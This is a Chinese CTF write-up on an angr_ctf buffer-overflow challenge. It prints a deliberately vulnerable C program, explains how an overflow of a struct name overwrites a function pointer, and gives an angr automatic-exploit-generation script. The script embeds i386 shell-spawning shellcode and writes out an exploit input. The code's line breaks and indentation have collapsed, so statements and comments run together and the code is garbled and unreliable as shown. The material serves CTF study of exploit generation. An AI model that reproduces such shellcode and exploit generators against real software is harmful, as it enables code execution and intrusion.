题目来源于angr_ctf,c++代码很简单。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>char component_name[128] = {0};typedef struct component {char name[32];int (*do_something)(int arg);
} comp_t;int sample_func(int x) {printf(" - %s - recieved argument %d\n", component_name, x);
}comp_t *initialize_component(char *cmp_name) {int i = 0;comp_t *cmp;cmp = malloc(sizeof(struct component));cmp->do_something = sample_func;printf("Copying component name...\n");strcpy(cmp->name, cmp_name);cmp->name[i] = '\0';return cmp;
}int main(void)
{comp_t *cmp;printf("Component Name:\n");read(0, component_name, sizeof component_name);printf("Initializing component...\n");cmp = initialize_component(component_name); printf("Running component...\n");mprotect((void*)((long)&component_name & ~0xfff), 0x1000, PROT_READ | PROT_EXEC);cmp->do_something(1);
}
首先,拷贝128字节数据放入component_name,位于bss段中。
然后,进入initialize_component模块开始初始化,创建36字节的cmp结构体,把sample_func设置为cmp结构体中的do_something方法,将开始输入的最多128字节的component_name拷贝到32字节的cmp->name中并把第一个字节改为\0,这里就造成了缓冲区溢出,使得do_something方法地址可以被替换。
最后,还将component_name位置所在0x1000字节空间的内存权限改为可读可执行,其实就是让攻击者可以将shellcode放在这里执行,只要在这个shellcode后面接上一个跳转回到此处的地址即可。(不清楚为何printf(" - %s - recieved argument %d\n", component_name, x)会在0x0804c014处引发崩溃???运行时不涉及这个地址呀。也就是说,在我这里,这个程序在正常输入的情况下,也没法正常执行)
这样,当拷贝发生时,结构体的do_something方法地址可以被替换为component_name地址,从而从component_name处开始执行。
下面给出angr中的自动利用代码,看看它是怎么实现这个缓冲区漏洞的自动利用的。参照“CTF中的AEG(二) 基于 angr 的漏洞利用自动生成之缓冲区溢出案例分析_aeg漏洞利用测试集”文章改动的。
import os
import sys
import angr
import subprocess
import loggingfrom angr import sim_options as sol = logging.getLogger("insomnihack.simple_aeg")# shellcraft i386.linux.sh
shellcode = bytes.fromhex("6a68682f2f2f73682f62696e89e331c96a0b5899cd80")def fully_symbolic(state, variable):'''check if a symbolic variable is completely symbolic'''for i in range(state.arch.bits): #这里是32bit程序,所以循环32次,每次取出1bit#判断该bit是否被符号化,也就是说,该bit是对应的符号表达式还是常量if not state.solver.symbolic(variable[i]): return Falsereturn True
#def check_continuity(address, addresses, length):'''dumb way of checking if the region at 'address' contains 'length' amount of controlled memory.'''# 就是检查地址累加每个字节后是不是还在地址区间内 for i in range(length):if not address + i in addresses:return Falsereturn Truedef find_symbolic_buffer(state, length):'''dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's control'''# 找到内存中可以用的缓冲区# get all the symbolic bytes from stdin# 获取传入程序的所有符号变量,可以用state.posix.dumps(0)来查看stdin = state.posix.stdin sym_addrs = [ ]# 遍历当前可利用状态下约束条件中保存的输入符号变量,# 并根据这个符号变量的名称找到输入进内存后的保存地址区间for _, symbol in state.solver.get_variables('file', stdin.ident): sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables)))) # 查看输入变量放置的内存地址区间是否够放shellcodefor addr in sym_addrs: #这里的addr就是bss段存放component_name的地址if check_continuity(addr, sym_addrs, length):yield addrdef main(binary):p = angr.Project(binary, auto_load_libs=False) # 初始化一个angr项目,第一个参数是目标程序,第二个参数是不去自动加载lib库binary_name = os.path.basename(binary) extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY} es = p.factory.entry_state(add_options=extras) #将程序默认入口作为angr进入的入口sm = p.factory.simulation_manager(es, save_unconstrained=True) # 初始化模拟管理器,不受约束的状态可能就是我们要找的可利用状态# find a bug giving us control of PCl.info("looking for vulnerability in '%s'", binary_name)exploitable_state = Nonewhile exploitable_state is None:print(sm)sm.step() # 单步进入一个代码基本块if len(sm.unconstrained) > 0:l.info("found some unconstrained states, checking exploitability")# 如果发现了不受约束的状态for u in sm.unconstrained: # 遍历不受约束的状态if fully_symbolic(u, u.regs.pc): # 如果该状态中的指令指针被完全符号化exploitable_state = u # 指令寄存器完全被污染一定是可利用状态break # 若找到可利用状态,则exploitable_state不为空,直接退出两层循环# no exploitable state found, drop themsm.drop(stash='unconstrained')l.info("found a state which looks exploitable")ep = exploitable_state# 用断言来判断指令寄存器是否被完全符号化,若不是,则立即退出assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point"# 开始基于该可利用状态构造expl.info("attempting to create exploit based off state")# keep checking if buffers can hold our shellcode# 检查看buffer能不能装的下我们的shellcodefor buf_addr in find_symbolic_buffer(ep, len(shellcode)):l.info("found symbolic buffer at %#x", buf_addr) memory = ep.memory.load(buf_addr, len(shellcode)) # 这就是找到的buffersc_bvv = ep.solver.BVV(shellcode) # 将shellcode转化为位向量# check satisfiability of placing shellcode into the address# 检查shellcode放入那个内存的可满足性# 如果满足那两条约束,就加上那两条约束# 约束时buffer能写shellcode# pc可以指向bufferif ep.satisfiable(extra_constraints=(memory == sc_bvv,ep.regs.pc == buf_addr)):l.info("found buffer for shellcode, completing exploit")ep.add_constraints(memory == sc_bvv)l.info("pointing pc towards shellcode buffer")ep.add_constraints(ep.regs.pc == buf_addr)breakelse:l.warning("couldn't find a symbolic buffer for our shellcode! exiting...")return 1#对标准输入进行约束求解,然后写进文件filename = '%s-exploit' % binary_namewith open(filename, 'wb') as f:f.write(ep.posix.dumps(0))print("%s exploit in %s" % (binary_name, filename))print("run with `(cat %s; cat -) | %s`" % (filename, binary))return 0
归纳下来的流程就是:
1、初始化一个angr项目,以程序入口点作为起点,一个一个代码块运行;
2、如果发现了不受约束的状态,则查看该状态对应的pc指针是否完全被符号化,如果是,则找到了一个可利用状态;
3、针对该可利用状态,查看对应输入变量所占的内存空间是否放得下shellcode;
4、如果放得下,就看是否能够由满足约束的解,并将约束条件放进去,得到最终的exp;
5、将exp输出到文件中保存。
参考链接:
CTF中的AEG(二) 基于 angr 的漏洞利用自动生成之缓冲区溢出案例分析_aeg漏洞利用测试集_yongbaoii的博客-CSDN博客